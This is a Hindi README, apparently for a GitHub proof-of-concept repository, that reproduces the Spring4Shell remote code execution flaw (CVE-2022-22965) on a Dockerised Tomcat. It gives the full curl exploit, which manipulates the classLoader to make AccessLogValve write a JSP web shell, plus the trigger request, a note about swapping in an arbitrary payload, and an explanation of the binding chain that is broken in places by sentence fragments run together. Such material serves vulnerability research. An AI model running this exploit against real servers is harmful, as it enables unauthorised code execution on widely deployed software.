
CVE-2022-22965 (Spring4Shell) के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो Tomcat AccessLogValve हेरफेर के माध्यम से दूरस्थ कोड निष्पादन प्रदर्शित करता है। इसमें Docker-आधारित पुनरुत्पादन वातावरण और विस्तृत तकनीकी विश्लेषण शामिल है।
CVE-2022-22965 Spring RCE को पुनरुत्पादित करने का न्यूनतम उदाहरण।
docker-compose up --build
./exploits/run.sh
webapps/handling-form-submission-complete में rce.jsp फ़ाइल बनाएगा।डॉकर में टॉमकैट सर्वर चलाएं
docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
यदि आप दूरस्थ रूप से डिबग करना चाहते हैं तो -p 5005:5005 -e "JAVA_OPTS=-Xdebug -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005" जोड़ें।
प्रोजेक्ट बनाएं
./mvnw install
एप्लिकेशन को तैनात करें
docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
एक्सप्लॉइट लिखें
curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
एक्सप्लॉइट वेब सर्वर पर webapps/handling-form-submission-complete में rce.jsp फ़ाइल बनाएगा।
एक्सप्लॉइट का उपयोग करें
curl http://localhost:8888/handling-form-submission-complete/rce.jsp
अब आप कंटेनर के टर्मिनल में 123 देखेंगे। मनमाना कोड निष्पादित करने के लिए System.out.println(123) को अपने पेलोड से बदलें।
GreetingController /greeting एंडपॉइंट पर POST अनुरोधों को संभालता है और फॉर्म फ़ील्ड्स को Greeting ऑब्जेक्ट से बाइंड करता है।user.info.firstname) के बाइंडिंग का भी समर्थन करता है। संदर्भ के लिए AbstractNestablePropertyAccessor देखें।Greeting क्लास में दो फ़ील्ड्स id और content हैं, लेकिन वास्तव में इसका Class ऑब्जेक्ट का भी संदर्भ है। हम क्लासलोडर तक पहुँचने के लिए class.module.classLoader को फॉर्म डेटा कुंजी के रूप में उपयोग कर सकते हैं।module गुण भी शामिल है।Greeting वर्ग से नेस्टेड संदर्भ श्रृंखला के माध्यम से सुलभ वर्गों के सार्वजनिक गुणों को सेट करने की अनुमति देता है। और कुछ नहीं। अधिकांश मामलों में यह खतरनाक भी नहीं है क्योंकि class.module.classLoader. से भी सार्वजनिक फ़ील्ड वाले कोई वर्ग उपलब्ध नहीं हैं।getResources एक्सेसर होता है जो हमें संदर्भ श्रृंखला जारी रखने और AccessLogValve वर्ग के एक इंस्टेंस तक पहुँचने की अनुमति देता है।jsp फ़ाइल बनाते हैं। चूंकि jsp टॉमकैट द्वारा स्वचालित रूप से निष्पादित होते हैं, हम ब्राउज़र में इसे नेविगेट कर सकते हैं और अंततः पेलोड निष्पादित कर सकते हैं। अब यह RCE है।एक्सप्लॉइट केवल टॉमकैट पर काम करता है क्योंकि इसमें विशेष क्लासलोडर है। हालांकि समान संदर्भ श्रृंखला अन्य वेब एप्लिकेशन सर्वरों पर भी मौजूद हो सकती है। यह अभी तक सरलता से खोजा नहीं गया है।
एक्सप्लॉइट के लिए Java 9 या उससे ऊपर की आवश्यकता है क्योंकि module गुण Java 9 में जोड़ा गया था।